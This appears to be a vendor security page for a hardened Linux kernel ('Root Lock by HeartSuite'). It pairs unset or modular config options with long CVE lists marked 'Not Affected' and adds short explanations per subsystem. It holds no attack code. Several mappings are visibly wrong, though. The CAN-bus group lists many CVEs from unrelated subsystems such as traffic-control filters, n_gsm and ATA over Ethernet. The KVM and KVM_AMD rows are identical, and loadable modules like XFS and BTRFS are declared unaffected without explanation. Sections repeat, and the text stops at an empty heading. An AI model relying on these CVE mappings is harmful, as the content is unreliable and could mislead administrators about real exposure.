CONFIG_IIO not setCVE-2024-42086, CVE-2024-57906, CVE-2024-57907, CVE-2024-57908, CVE-2024-57910, CVE-2024-57911, CVE-2024-57912, CVE-2022-49792, CVE-2025-38485Not Affected
CONFIG_SND_SOC not setCVE-2024-41069, CVE-2022-50325Not Affected
CONFIG_CACHEFILES not setCVE-2024-41050, CVE-2024-41057, CVE-2024-41074Not Affected
CONFIG_WWAN not setCVE-2024-40939Not Affected
CONFIG_VMWARE_VMCI not setCVE-2024-39499, CVE-2024-46738, CVE-2025-38403Not Affected
CONFIG_BONDING not setCVE-2024-39487, CVE-2026-23099Not Affected
CONFIG_TEE not setCVE-2023-52503Not Affected
CONFIG_INPUT_POWERMATE not setCVE-2023-52475Not Affected
CONFIG_PWM not setCVE-2024-26599Not Affected
CONFIG_VIDEO_PVRUSB2 not setCVE-2023-52445Not Affected
CONFIG_ATALK not setCVE-2023-51781Not Affected
CONFIG_IGB not setCVE-2023-45871Not Affected
CONFIG_VIDEO_RKVDEC not setCVE-2023-35829Not Affected
CONFIG_USB_RENESAS_USBHS3 not setCVE-2023-35828Not Affected
CONFIG_VIDEO_SUNXI_CEDRUS not setCVE-2023-35826Not Affected
CONFIG_VIDEO_DM1105 not setCVE-2023-35824Not Affected
CONFIG_VIDEO_SAA7134 not setCVE-2023-35823Not Affected
CONFIG_NET_CLS_U32 not setCVE-2026-23204Not Affected
CONFIG_WILC1000 not setCVE-2025-39952Not Affected
CONFIG_MWIFIEX not setCVE-2025-39891Not Affected
CONFIG_AF_RXRPC not setCVE-2023-53218Not Affected
CONFIG_NET_SCH_QFQ not setCVE-2025-37913Not Affected
CONFIG_NTFS_FS not setCVE-2022-49763Not Affected
CONFIG_IP_SCTP not setCVE-2025-23142, CVE-2025-38718, CVE-2022-50243, CVE-2023-53372Not Affected
CONFIG_MEMSTICK not setCVE-2025-22020, CVE-2023-3141Not Affected
CONFIG_BRCMFMAC not setCVE-2022-49740, CVE-2022-50258, CVE-2023-53213, CVE-2022-50408, CVE-2025-39863, CVE-2022-50551Not Affected
CONFIG_RTLWIFI not setCVE-2024-58072, CVE-2022-50279Not Affected
CONFIG_LOONGARCH not setCVE-2024-56628Not Affected
CONFIG_UDF_FS not setCVE-2024-50143, CVE-2022-49846, CVE-2023-53107, CVE-2023-53506Not Affected
CONFIG_RMNET not setCVE-2024-50128, CVE-2024-26597Not Affected
CONFIG_PPP not setCVE-2024-50033, CVE-2024-50035, CVE-2025-37749, CVE-2025-38574Not Affected
CONFIG_XEN not setCVE-2024-49936, CVE-2024-56704Not Affected
CONFIG_OCFS2_FS not setCVE-2024-47670, CVE-2024-49966, CVE-2024-53155, CVE-2024-57892, CVE-2025-22079, CVE-2023-53081Not Affected
CONFIG_PLATFORM_X86 not setCVE-2024-46859, CVE-2024-49986, CVE-2025-38077Not Affected
CONFIG_ISDN not setCVE-2024-42280Not Affected
CONFIG_HFSPLUS_FS not setCVE-2024-41059, CVE-2024-56548, CVE-2025-38713, CVE-2025-38714Not Affected
CONFIG_XFS_FS module (m)CVE-2024-41013, CVE-2024-41014, CVE-2025-39835, CVE-2022-50406Not Affected
CONFIG_PPC not setCVE-2024-40974, CVE-2024-46774, CVE-2022-48998, CVE-2024-56765, CVE-2025-38088, CVE-2025-39776, CVE-2023-53487, CVE-2025-71078, CVE-2023-52451Not Affected
CONFIG_IMA not setCVE-2024-38667, CVE-2024-53106, CVE-2024-57798, CVE-2025-39730Not Affected
CONFIG_NET_SCH_MULTIQ not setCVE-2024-36978Not Affected
CONFIG_DRM_VMWGFX not setCVE-2024-36960Not Affected
CONFIG_PINCTRL not setCVE-2024-36940, CVE-2025-38286Not Affected
CONFIG_GPIOLIB not setCVE-2024-36898, CVE-2024-36899, CVE-2024-42092, CVE-2025-38395Not Affected
CONFIG_TIPC not setCVE-2024-36886, CVE-2024-42284, CVE-2022-49017, CVE-2024-56642, CVE-2025-38052, CVE-2025-38464Not Affected
CONFIG_PPDEV not setCVE-2024-36015Not Affected
CONFIG_DRM_RADEON not setCVE-2023-52867Not Affected
CONFIG_WMI not setCVE-2023-52864Not Affected
CONFIG_HW_PERF_EVENTS_HISI not setCVE-2023-52859, CVE-2024-38569Not Affected
CONFIG_VIDEO_BT848 not setCVE-2023-52847Not Affected
CONFIG_RMI4_CORE not setCVE-2023-52840Not Affected
CONFIG_BLK_DEV_NBD not setCVE-2023-52837, CVE-2024-49855, CVE-2025-38443Not Affected
CONFIG_KVM_AMD not setCVE-2024-35791, CVE-2024-41070, CVE-2024-46830, CVE-2024-50115, CVE-2022-49882, CVE-2025-37885, CVE-2025-39823Not Affected
CONFIG_HNS3 not setCVE-2023-52807, CVE-2024-46833, CVE-2025-71112Not Affected
CONFIG_IPVLAN not setCVE-2023-52796Not Affected
CONFIG_SMC not setCVE-2023-52775, CVE-2024-56640, CVE-2024-57791, CVE-2025-38734Not Affected
CONFIG_USB_GSPCA_CORE not setCVE-2023-52764Not Affected
CONFIG_GFS2_FS not setCVE-2023-52760, CVE-2024-38570, CVE-2023-53622Not Affected
CONFIG_FB not setCVE-2023-52731, CVE-2024-49924, CVE-2024-50180, CVE-2025-38685, CVE-2025-38702Not Affected
CONFIG_DMA_DIRECT_REMAP not setCVE-2024-35939Not Affected
CONFIG_AX25 not setCVE-2024-35887, CVE-2026-23098Not Affected
CONFIG_MLX5_CORE not setCVE-2023-52667, CVE-2024-38555, CVE-2024-38556, CVE-2024-40940, CVE-2022-48883, CVE-2022-49025, CVE-2023-53340Not Affected
CONFIG_ATLANTIC not setCVE-2023-52664Not Affected
CONFIG_KVM not setCVE-2024-35791, CVE-2024-41070, CVE-2024-46830, CVE-2024-50115, CVE-2022-49882, CVE-2025-37885, CVE-2025-39823Not Affected
CONFIG_FIREWIRE not setCVE-2024-27401, CVE-2023-53432Not Affected
CONFIG_OPENVSWITCH not setCVE-2024-27395, CVE-2025-37789, CVE-2025-38146Not Affected
CONFIG_EROFS_FS not setCVE-2022-48674, CVE-2024-41058Not Affected
CONFIG_OF not setCVE-2022-48672Not Affected
CONFIG_PECI not setCVE-2022-48670Not Affected
CONFIG_DVB_CORE not setCVE-2024-27075, CVE-2024-43900, CVE-2024-47697, CVE-2024-47698, CVE-2025-38227, CVE-2022-50274, CVE-2023-53219, CVE-2022-50499Not Affected
CONFIG_DRM_NOUVEAU not setCVE-2024-27008, CVE-2022-50454Not Affected
CONFIG_USB_GADGET not setCVE-2024-26996, CVE-2024-46836, CVE-2022-48948, CVE-2024-58055, CVE-2022-49980, CVE-2025-38497, CVE-2025-38555Not Affected
CONFIG_COMMON_CLK_QCOM not setCVE-2024-26965Not Affected
CONFIG_NILFS2_FS not setCVE-2024-26955, CVE-2024-26956, CVE-2024-26981, CVE-2024-38583, CVE-2024-37078, CVE-2024-39469, CVE-2024-42104, CVE-2024-42105, CVE-2024-47757, CVE-2024-50230, CVE-2022-49834, CVE-2023-53035, CVE-2023-53311, CVE-2022-50367, CVE-2022-50478, CVE-2023-53608Not Affected
CONFIG_ARM64 not setCVE-2022-48657, CVE-2024-26989, CVE-2024-40989, CVE-2025-21785, CVE-2022-49888, CVE-2025-37849, CVE-2024-26598Not Affected
CONFIG_MLXBF_I2C not setCVE-2022-48632Not Affected
CONFIG_TUN not setCVE-2024-26882, CVE-2022-49014, CVE-2023-3812Not Affected
CONFIG_RDS not setCVE-2024-26865, CVE-2022-48637, CVE-2024-27024, CVE-2024-42138, CVE-2024-42148, CVE-2024-46782, CVE-2024-46786, CVE-2024-57900, CVE-2025-23156, CVE-2025-23158, CVE-2023-53075, CVE-2025-37921, CVE-2025-39710, CVE-2022-50412, CVE-2023-53541, CVE-2025-39967, CVE-2026-31578Not Affected
CONFIG_SPARX5_SWITCH not setCVE-2024-26856Not Affected
CONFIG_THINKPAD_LMI not setCVE-2024-26836Not Affected
CONFIG_BTRFS_FS module (m)CVE-2024-26791, CVE-2024-26944, CVE-2024-35849, CVE-2024-35949, CVE-2024-39496, CVE-2024-42314, CVE-2024-50217, CVE-2024-56581, CVE-2024-56582, CVE-2024-56759, CVE-2024-57896, CVE-2025-39738, CVE-2025-39759, CVE-2022-50300Not Affected
CONFIG_MPTCP not setCVE-2024-26782, CVE-2024-44974, CVE-2024-46858, CVE-2024-50083, CVE-2023-53072, CVE-2023-53088, CVE-2025-38552Not Affected
CONFIG_DM_CRYPT not setCVE-2024-26763Not Affected
CONFIG_GTP not setCVE-2024-26754, CVE-2024-26793, CVE-2024-27396, CVE-2024-44999Not Affected
CONFIG_CRYPTO_DEV_VIRTIO not setCVE-2024-26753Not Affected
CONFIG_USB_CDNS3 not setCVE-2024-26748, CVE-2024-26749Not Affected
CONFIG_NET_ACT_MIRRED not setCVE-2024-26739Not Affected
CONFIG_AFS_FS not setCVE-2024-26736Not Affected
CONFIG_IP_TUNNEL not setCVE-2024-26665, CVE-2023-53600Not Affected
CONFIG_MHI_BUS not setCVE-2023-52494, CVE-2025-39790Not Affected
CONFIG_LLC module (m)CVE-2024-26625Not Affected
CONFIG_JFS_FS not setCVE-2023-52599, CVE-2023-52600, CVE-2023-52603, CVE-2023-52604, CVE-2023-52799, CVE-2023-52804, CVE-2023-52805, CVE-2024-40902, CVE-2024-43858, CVE-2024-47723, CVE-2024-49900, CVE-2024-49903, CVE-2024-56595, CVE-2024-56596, CVE-2024-56597, CVE-2024-56598, CVE-2025-38204, CVE-2025-38230, CVE-2025-38697, CVE-2025-39743, CVE-2022-50333, CVE-2023-53222, CVE-2023-53485, CVE-2023-53616Not Affected
CONFIG_S390 not setCVE-2023-52598, CVE-2024-26957, CVE-2023-52669, CVE-2024-36931, CVE-2024-45026, CVE-2022-48954, CVE-2024-57838, CVE-2024-57849, CVE-2022-49804, CVE-2023-53123, CVE-2025-38257, CVE-2025-38320, CVE-2022-50307, CVE-2023-53205, CVE-2026-31568Not Affected
CONFIG_DRM_MSM not setCVE-2023-52586, CVE-2023-53316, CVE-2022-50368, CVE-2022-50437, CVE-2022-50492, CVE-2022-50526Not Affected
CONFIG_SECURITY_TOMOYO not setCVE-2024-26622Not Affected
CONFIG_IWLWIFI not setCVE-2023-52531, CVE-2024-26610, CVE-2024-36921, CVE-2024-40929, CVE-2024-53059, CVE-2025-21905, CVE-2022-50248, CVE-2023-53524Not Affected
CONFIG_SPI_SUN6I not setCVE-2023-52517Not Affected
CONFIG_INFINIBAND not setCVE-2023-52515, CVE-2024-26872, CVE-2022-48694, CVE-2023-52851, CVE-2024-38545, CVE-2024-42285, CVE-2025-38024, CVE-2025-38211, CVE-2025-71133, CVE-2026-31493Not Affected
CONFIG_IEEE802154 not setCVE-2023-52510, CVE-2024-56602Not Affected
CONFIG_RAVB not setCVE-2023-52509, CVE-2022-48964, CVE-2023-35827Not Affected
CONFIG_NFC not setCVE-2023-52507, CVE-2024-36915, CVE-2022-48967, CVE-2025-21735, CVE-2023-53106, CVE-2025-38416, CVE-2023-53495Not Affected
CONFIG_FUSE_FS not setCVE-2023-52504, CVE-2024-35932, CVE-2024-41090, CVE-2024-41091, CVE-2024-58054, CVE-2022-49945, CVE-2025-38385, CVE-2023-53286, CVE-2023-53577Not Affected
CONFIG_MCTP not setCVE-2023-52483Not Affected
CONFIG_ATH not setCVE-2023-52464, CVE-2023-52594, CVE-2023-52491, CVE-2024-26958, CVE-2024-26983, CVE-2024-26988, CVE-2024-27043, CVE-2023-52679, CVE-2024-35847, CVE-2023-52777, CVE-2023-52827, CVE-2024-36906, CVE-2024-36979, CVE-2024-38578, CVE-2024-38621, CVE-2024-41096, CVE-2024-42271, CVE-2024-43830, CVE-2022-48873, CVE-2022-48881, CVE-2024-46674, CVE-2024-47695, CVE-2024-47742, CVE-2024-49930, CVE-2024-49931, CVE-2022-48980, CVE-2022-48981, CVE-2022-48999, CVE-2024-53142, CVE-2024-53156, CVE-2024-56672, CVE-2024-57887, CVE-2024-57980, CVE-2025-21934, CVE-2025-37780, CVE-2023-53084, CVE-2023-53090, CVE-2025-37840, CVE-2025-38022, CVE-2025-38069, CVE-2025-38157, CVE-2025-38259, CVE-2025-38313, CVE-2025-38456, CVE-2025-38708, CVE-2025-39701, CVE-2025-39749, CVE-2022-50234, CVE-2025-39810, CVE-2022-50384, CVE-2022-50411, CVE-2025-39905, CVE-2025-39911, CVE-2023-53454, CVE-2023-53500, CVE-2023-53556, CVE-2023-53559, CVE-2023-53604, CVE-2022-50543, CVE-2023-53659, CVE-2023-53668, CVE-2023-54207, CVE-2026-23068, CVE-2026-23209, CVE-2026-23397, CVE-2026-31489, CVE-2026-31576, CVE-2026-31583Not Affected
CONFIG_F2FS_FS not setCVE-2023-52436, CVE-2023-52444, CVE-2023-52588, CVE-2023-52682, CVE-2023-52748, CVE-2023-52852, CVE-2024-39467, CVE-2024-42160, CVE-2024-44942, CVE-2024-47691, CVE-2024-41935, CVE-2022-49738, CVE-2025-37739, CVE-2025-38579, CVE-2025-38652, CVE-2025-38677, CVE-2022-50270, CVE-2023-53214, CVE-2023-53301, CVE-2023-53537, CVE-2026-23234, CVE-2026-23235Not Affected
CONFIG_DRM_AMDGPU not setCVE-2023-51042, CVE-2023-52624, CVE-2024-26699, CVE-2024-27045, CVE-2023-52691, CVE-2023-52812, CVE-2023-52818, CVE-2024-36914, CVE-2024-38552, CVE-2024-38581, CVE-2024-39471, CVE-2024-42118, CVE-2024-42119, CVE-2024-42120, CVE-2024-42121, CVE-2024-42228, CVE-2024-44977, CVE-2024-46722, CVE-2024-46723, CVE-2024-46724, CVE-2024-46729, CVE-2024-46804, CVE-2024-46811, CVE-2024-46813, CVE-2024-46814, CVE-2024-46815, CVE-2024-46818, CVE-2024-46871, CVE-2024-49894, CVE-2024-49895, CVE-2024-49969, CVE-2024-49989, CVE-2024-49991, CVE-2022-48990, CVE-2023-52921, CVE-2024-50282, CVE-2024-53108, CVE-2024-53133, CVE-2024-56551, CVE-2024-56608, CVE-2024-56775, CVE-2024-56784, CVE-2025-21780, CVE-2025-21968, CVE-2025-21985, CVE-2023-53077, CVE-2025-37903, CVE-2022-49969, CVE-2025-38361, CVE-2022-50303, CVE-2023-53471, CVE-2023-52469, CVE-2024-41011, CVE-2024-46731, CVE-2024-46821, CVE-2025-37854Not Affected
CONFIG_IP_DCCP not setCVE-2023-39197, CVE-2024-36904, CVE-2024-50154, CVE-2023-53333Not Affected
CONFIG_TLS not setCVE-2024-0646, CVE-2024-58240, CVE-2025-40149Not Affected
CONFIG_ROSE not setCVE-2023-51782, CVE-2025-21718, CVE-2025-38377, CVE-2025-39826Not Affected
CONFIG_ATM not setCVE-2023-51780, CVE-2023-52578, CVE-2024-26895, CVE-2024-44998, CVE-2025-38180, CVE-2025-38236, CVE-2025-38245, CVE-2025-38323, CVE-2025-38459, CVE-2025-39828, CVE-2025-39839Not Affected
CONFIG_CIFS not setCVE-2023-1194, CVE-2023-52434, CVE-2023-52440, CVE-2023-52572, CVE-2024-26928, CVE-2024-35861, CVE-2024-35862, CVE-2024-35864, CVE-2024-35866, CVE-2024-35867, CVE-2024-35868, CVE-2023-52741, CVE-2023-52751, CVE-2023-52752, CVE-2023-52757, CVE-2024-49996, CVE-2024-50047, CVE-2024-50151, CVE-2024-53179, CVE-2025-38051, CVE-2025-38527, CVE-2025-38728, CVE-2023-53427Not Affected
CONFIG_NVME_CORE not setCVE-2023-5178, CVE-2023-6356, CVE-2023-6536, CVE-2022-48658, CVE-2022-48686, CVE-2024-41073, CVE-2024-58069, CVE-2025-21927, CVE-2023-53116, CVE-2025-39783Not Affected
CONFIG_CEPH_FS not setCVE-2023-44466, CVE-2024-26689, CVE-2022-49770, CVE-2025-39880, CVE-2025-71116, CVE-2026-22984, CVE-2026-31580Not Affected
CONFIG_HFS_FS not setCVE-2023-4623, CVE-2024-26982, CVE-2024-46744, CVE-2025-21702, CVE-2025-37797, CVE-2025-37823, CVE-2025-37890, CVE-2025-38000, CVE-2025-38415, CVE-2025-38715, CVE-2026-23388Not Affected
CONFIG_SMB_SERVER not setCVE-2023-32250, CVE-2023-32254, CVE-2023-32247, CVE-2023-32248, CVE-2023-32252, CVE-2023-32257, CVE-2023-32258, CVE-2024-22705, CVE-2023-52441, CVE-2024-26592, CVE-2024-26594, CVE-2023-52480, CVE-2024-26936, CVE-2024-26952, CVE-2024-26954, CVE-2024-50086, CVE-2024-50283, CVE-2024-50286, CVE-2024-56626, CVE-2024-56627, CVE-2025-21945, CVE-2025-21946, CVE-2025-21967, CVE-2025-22038, CVE-2025-22039, CVE-2025-37776, CVE-2025-37777, CVE-2025-37778, CVE-2025-37899, CVE-2025-37924, CVE-2025-37926, CVE-2025-37947, CVE-2025-37952, CVE-2025-38437, CVE-2025-38501, CVE-2023-3865, CVE-2023-3867, CVE-2023-53358, CVE-2025-39943Not Affected
CONFIG_CAN not setCVE-2023-3090, CVE-2023-3389, CVE-2023-3609, CVE-2023-3611, CVE-2023-3776, CVE-2023-4206, CVE-2023-4207, CVE-2023-4208, CVE-2023-4622, CVE-2023-4921, CVE-2023-5717, CVE-2023-46813, CVE-2023-6931, CVE-2023-6932, CVE-2023-6546, CVE-2023-6270, CVE-2024-25744, CVE-2023-52438, CVE-2023-52439, CVE-2023-52474, CVE-2023-52501, CVE-2022-47518, CVE-2022-47519, CVE-2022-47520, CVE-2022-47521, CVE-2023-2235, CVE-2023-2156, CVE-2023-52519, CVE-2023-52614, CVE-2024-26669, CVE-2023-52637, CVE-2024-26898, CVE-2022-48655, CVE-2024-26951, CVE-2024-26961, CVE-2024-26974, CVE-2024-35855, CVE-2024-35871, CVE-2024-35937, CVE-2023-52701, CVE-2023-52707, CVE-2023-52772, CVE-2023-52846, CVE-2023-52854, CVE-2024-36934, CVE-2024-36974, CVE-2024-38599, CVE-2024-38610, CVE-2024-39277, CVE-2023-52340, CVE-2024-39494, CVE-2024-40900, CVE-2024-40913, CVE-2024-40935, CVE-2024-40994, CVE-2024-41040, CVE-2024-42093, CVE-2024-42094, CVE-2024-42313, CVE-2024-43842, CVE-2024-43882, CVE-2022-48872, CVE-2022-48874, CVE-2022-48892, CVE-2023-52906, CVE-2024-44934, CVE-2024-46740, CVE-2024-46854, CVE-2024-47659, CVE-2024-47727, CVE-2024-47745, CVE-2024-47750, CVE-2024-49853, CVE-2024-49854, CVE-2022-48988, CVE-2022-48991, CVE-2022-49006, CVE-2022-49031, CVE-2022-49032, CVE-2024-50036, CVE-2024-50059, CVE-2024-50061, CVE-2024-50073, CVE-2024-50074, CVE-2024-50209, CVE-2024-50264, CVE-2024-50268, CVE-2024-50275, CVE-2024-50301, CVE-2024-53104, CVE-2024-53166, CVE-2024-53171, CVE-2024-53203, CVE-2024-56570, CVE-2024-56603, CVE-2024-56651, CVE-2024-52332, CVE-2024-57850, CVE-2024-57904, CVE-2024-57929, CVE-2025-21687, CVE-2025-21704, CVE-2024-57982, CVE-2025-21791, CVE-2025-21855, CVE-2023-53000, CVE-2025-21919, CVE-2025-21920, CVE-2025-21928, CVE-2025-22107, CVE-2025-23157, CVE-2025-37786, CVE-2022-49775, CVE-2022-49779, CVE-2022-49900, CVE-2023-53135, CVE-2025-37839, CVE-2025-37892, CVE-2025-37927, CVE-2025-37928, CVE-2025-37991, CVE-2025-38004, CVE-2025-38081, CVE-2022-49939, CVE-2022-49948, CVE-2025-38102, CVE-2025-38108, CVE-2025-38129, CVE-2025-38248, CVE-2025-38342, CVE-2025-38346, CVE-2025-38375, CVE-2025-38445, CVE-2025-38535, CVE-2025-38595, CVE-2025-38666, CVE-2025-38679, CVE-2025-38680, CVE-2025-38722, CVE-2025-39683, CVE-2025-39687, CVE-2025-39689, CVE-2025-39766, CVE-2025-39797, CVE-2022-50255, CVE-2023-53148, CVE-2023-53153, CVE-2023-53215, CVE-2023-53232, CVE-2023-53259, CVE-2023-53272, CVE-2025-39817, CVE-2025-39824, CVE-2022-50394, CVE-2023-53388, CVE-2023-53446, CVE-2025-39873, CVE-2025-39877, CVE-2025-39883, CVE-2025-39901, CVE-2022-50421, CVE-2023-53465, CVE-2025-39951, CVE-2023-53536, CVE-2023-53560, CVE-2023-53569, CVE-2023-53570, CVE-2022-50552, CVE-2025-71073, CVE-2025-71089, CVE-2025-71093, CVE-2025-71152, CVE-2025-71162, CVE-2026-23073, CVE-2026-23074, CVE-2026-23102, CVE-2026-23171, CVE-2025-71221, CVE-2026-23221, CVE-2026-23227, CVE-2026-23361, CVE-2026-31788, CVE-2026-23410, CVE-2026-23411, CVE-2026-31527, CVE-2026-31532, CVE-2026-31582Not Affected
CONFIG_NET_CLS_FLOWER not setCVE-2023-35788Not Affected
CONFIG_NTFS3_FS not setCVE-2022-48502, CVE-2023-26606, CVE-2023-52640, CVE-2024-50242, CVE-2024-50246, CVE-2024-50247, CVE-2025-38707, CVE-2025-39691, CVE-2023-53194, CVE-2023-53420, CVE-2022-50442, CVE-2023-53486, CVE-2022-50507Not Affected

BPF Syscall Interface

Status: Not Affected
Config gate: CONFIG_BPF_SYSCALL not set
CVEs covered: CVE-2021-20194

The BPF syscall interface is the kernel entry point through which user-space programs load and run BPF programs in kernel context. CVE-2021-20194 describes a heap overflow in the BPF verifier reachable by a local user who submits a crafted BPF program, gaining elevated privilege.

CONFIG_BPF_SYSCALL is not compiled into the Root Lock by HeartSuite kernel. The bpf() syscall is not available — any call to it returns ENOSYS. There is no verifier, no BPF program store, and no reachable code path for this CVE.

Netfilter nftables

Status: Not Affected
Component: CONFIG_NF_TABLES built as kernel module (m) per HS-DEV-004 Docker capability stack
CVEs covered: CVE-2023-32233, CVE-2023-0179

nftables is the in-kernel packet classification and filtering framework. CVE-2023-32233 describes a use-after-free in anonymous set handling reachable via crafted netlink messages by a local user with CAP_NET_ADMIN. CVE-2023-0179 describes a stack-based buffer overflow in the nftables netlink implementation reachable from a user namespace.

CONFIG_NF_TABLES is built as a loadable module for container networking (HS-DEV-004). It is not loaded at boot on a default Root Lock install — nftables netlink handlers and rule objects are absent until the module is explicitly loaded (for example when Docker or container networking is enabled). Root Lock install scripts ship no nftables rules. If you load the module and configure nftables rules, the relevant code paths become reachable.

Network Traffic Control Schedulers

Status: Not Affected
Config gate: CONFIG_NET_SCH_QFQ, CONFIG_NET_CLS_TCINDEX not set
CVEs covered: CVE-2023-31436, CVE-2023-1829, CVE-2023-1281

These CVEs cover two traffic control components: the QFQ (Quick Fair Queueing) scheduler and the TCINDEX traffic control filter. CVE-2023-31436 describes an out-of-bounds write in the QFQ scheduler reachable via tc qdisc add. CVE-2023-1829 and CVE-2023-1281 both describe use-after-free conditions in the TCINDEX filter reachable by a local user with CAP_NET_ADMIN.

Neither CONFIG_NET_SCH_QFQ nor the TCINDEX traffic control filter is compiled into the Root Lock by HeartSuite kernel. The relevant scheduler and filter code does not exist and cannot be reached via tc.

Bluetooth Stack

Status: Not Affected
Config gate: CONFIG_BT not set
CVEs covered: CVE-2022-42896, CVE-2022-45934, CVE-2022-3564, CVE-2022-3640, CVE-2023-1989, and 3 additional CVEs in this group

These CVEs cover the kernel Bluetooth stack across the L2CAP, HCI, and RFCOMM layers. They include type confusion, use-after-free, and memory corruption conditions reachable by an attacker in proximity to the target device over Bluetooth, or by a local user with socket access to the Bluetooth subsystem.

CONFIG_BT is not compiled into the Root Lock by HeartSuite kernel. The Bluetooth socket family, HCI layer, and all Bluetooth protocol drivers are not present — there is no reachable code path for any CVE in this group.

Protocol Families: TLS, RDS, ROSE, MCTP, and AF_RXRPC

Status: Not Affected
Config gate: CONFIG_TLS, CONFIG_RDS, CONFIG_ROSE, CONFIG_MCTP, CONFIG_AF_RXRPC not set
CVEs covered: CVE-2023-28466, CVE-2023-1078, CVE-2022-2961, CVE-2022-3977, CVE-2023-2006

These CVEs cover five distinct socket protocol families, each gated by its own config option:

  • TLS (CVE-2023-28466) — a race condition in the in-kernel TLS record layer reachable via a socket configured with SO_TLS_TX
  • RDS (CVE-2023-1078) — a heap out-of-bounds write in the Reliable Datagram Sockets implementation
  • ROSE (CVE-2022-2961) — a race condition in the X.25 ROSE packet radio protocol socket layer
  • MCTP (CVE-2022-3977) — a use-after-free in the Management Component Transport Protocol socket layer
  • AF_RXRPC (CVE-2023-2006) — a race condition in the RxRPC remote procedure call socket family

None of these protocol families is compiled into the Root Lock by HeartSuite kernel. Attempting to open a socket in any of them returns EAFNOSUPPORT — there is no reachable code path for any CVE in this group.

NFS Server

Status: Not Affected
Config gate: CONFIG_NFSD not set
CVEs covered: CVE-2022-43945, CVE-2022-4379, CVE-2023-1652

The kernel NFS server (nfsd) allows a Linux host to export filesystems to NFS clients over the network. CVE-2022-43945 describes a buffer overflow in the NFSv4 XDR decoder reachable from the network. CVE-2022-4379 describes a use-after-free in the NFSv4.1 setclientid_confirm handler. CVE-2023-1652 describes a use-after-free in the NFSv4 lease handling.

CONFIG_NFSD is not compiled into the Root Lock by HeartSuite kernel. The kernel NFS server is not present — no NFS exports are possible and there is no reachable code path for any CVE in this group.

Filesystem Drivers

Status: Not Affected
Config gate: CONFIG_NTFS3_FS, CONFIG_NTFS_FS, CONFIG_JFS_FS, CONFIG_NILFS2_FS not set
CVEs covered: CVE-2022-48423, CVE-2022-48424, CVE-2022-48425, CVE-2023-26544, CVE-2023-26506, CVE-2023-26507, CVE-2023-2124, CVE-2020-27815, CVE-2022-2978

These CVEs cover four filesystem drivers absent from the Root Lock by HeartSuite kernel. The CVEs include out-of-bounds reads and writes and use-after-free conditions across the NTFS3 driver (CONFIG_NTFS3_FS), the legacy NTFS driver (CONFIG_NTFS_FS), JFS (CONFIG_JFS_FS), and NILFS2 (CONFIG_NILFS2_FS). Several are triggerable by mounting a crafted filesystem image. (CONFIG_XFS_FS is documented separately — it is built as module m on the 6.18.x kernel.)

None of these four filesystems is compiled into the Root Lock by HeartSuite kernel. Mounting an image in any of these formats returns an error — the filesystem code does not exist in the running kernel and there is no reachable code path for any CVE in this group.

Hardware-Specific and Virtualization Drivers

Status: Not Affected
Config gate: CONFIG_DVB_CORE, CONFIG_SGI_GRU, CONFIG_FPGA, CONFIG_KVM_INTEL not set
CVEs covered: CVE-2022-45884, CVE-2022-45885, CVE-2022-45886, CVE-2022-45919, CVE-2022-3424, CVE-2023-26242, CVE-2022-2196

These CVEs cover four hardware-specific drivers absent from the Root Lock by HeartSuite kernel:

  • DVB Core (CVE-2022-45884, CVE-2022-45885, CVE-2022-45886, CVE-2022-45919) — use-after-free conditions in the Digital Video Broadcast core driver, reachable by a local user with access to a DVB device
  • SGI GRU (CVE-2022-3424) — a use-after-free in the SGI UV coprocessor driver triggered via ioctl on the GRU device
  • Intel FPGA (CVE-2023-26242) — a memory safety issue in the Intel FPGA BMC secure update driver
  • KVM Intel (CVE-2022-2196) — a guest-to-host isolation bypass in nested VMX (nVMX) handling, reachable from inside a guest VM

CONFIG_DVB_CORE, CONFIG_SGI_GRU, the Intel FPGA driver, and CONFIG_KVM_INTEL are not compiled into the Root Lock by HeartSuite kernel. Root Lock by HeartSuite runs as a guest under other hypervisors — it does not host virtual machines. None of the hardware interfaces these drivers expose is available, and there is no reachable code path for any CVE in this group.

USB Network Adapter and SMB Server

Status: Not Affected
Config gate: CONFIG_USB_NET_RNDIS_WLAN, CONFIG_SMB_SERVER not set
CVEs covered: CVE-2023-23559, CVE-2023-0210

  • USB RNDIS WLAN (CVE-2023-23559) — an integer overflow in the RNDIS wireless USB adapter driver triggerable by a physically present attacker with a crafted USB device
  • SMB Server / ksmbd (CVE-2023-0210) — a heap out-of-bounds read in ksmbd, the in-kernel SMB server, reachable from the network without authentication via a crafted SMB2 NEGOTIATE request

Neither CONFIG_USB_NET_RNDIS_WLAN nor CONFIG_SMB_SERVER is compiled into the Root Lock by HeartSuite kernel. There is no RNDIS driver to probe and no ksmbd listener to reach — there is no reachable code path for either CVE in this group.

Ntfs3 Fs

Status: Not Affected Config gate: CONFIG_NTFS3_FS not set CVEs covered: CVE-2022-48502

CONFIG_NTFS3_FS is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

Traffic Control: cls_flower

Status: Not Affected Config gate: CONFIG_NET_CLS_FLOWER not set CVEs covered: CVE-2023-35788

CONFIG_NET_CLS_FLOWER is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

CAN Bus

Status: Not Affected Config gate: CONFIG_CAN not set CVEs covered: CVE-2023-3090, CVE-2023-3389, CVE-2023-3609, CVE-2023-3611, CVE-2023-3776, CVE-2023-4206, CVE-2023-4207, CVE-2023-4208, CVE-2023-4622, CVE-2023-4921, CVE-2023-5717, CVE-2023-46813, CVE-2023-6931, CVE-2023-6932, CVE-2023-6546, CVE-2023-6270, CVE-2024-25744, CVE-2023-52438, CVE-2023-52439, CVE-2023-52474, CVE-2023-52501

CONFIG_CAN is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

Smb Server

Status: Not Affected Config gate: CONFIG_SMB_SERVER not set CVEs covered: CVE-2023-32250, CVE-2023-32254, CVE-2023-32247, CVE-2023-32248, CVE-2023-32252, CVE-2023-32257, CVE-2023-32258, CVE-2024-22705, CVE-2023-52441, CVE-2024-26592, CVE-2024-26594, CVE-2023-52480

CONFIG_SMB_SERVER is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

HFS Filesystem

Status: Not Affected Config gate: CONFIG_HFS_FS not set CVEs covered: CVE-2023-4623

CONFIG_HFS_FS is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

Ceph Filesystem

Status: Not Affected Config gate: CONFIG_CEPH_FS not set CVEs covered: CVE-2023-44466

CONFIG_CEPH_FS is not compiled into the Root Lock by HeartSuite kernel. There is no reachable code path for any CVE in this group.

NVMe Driver

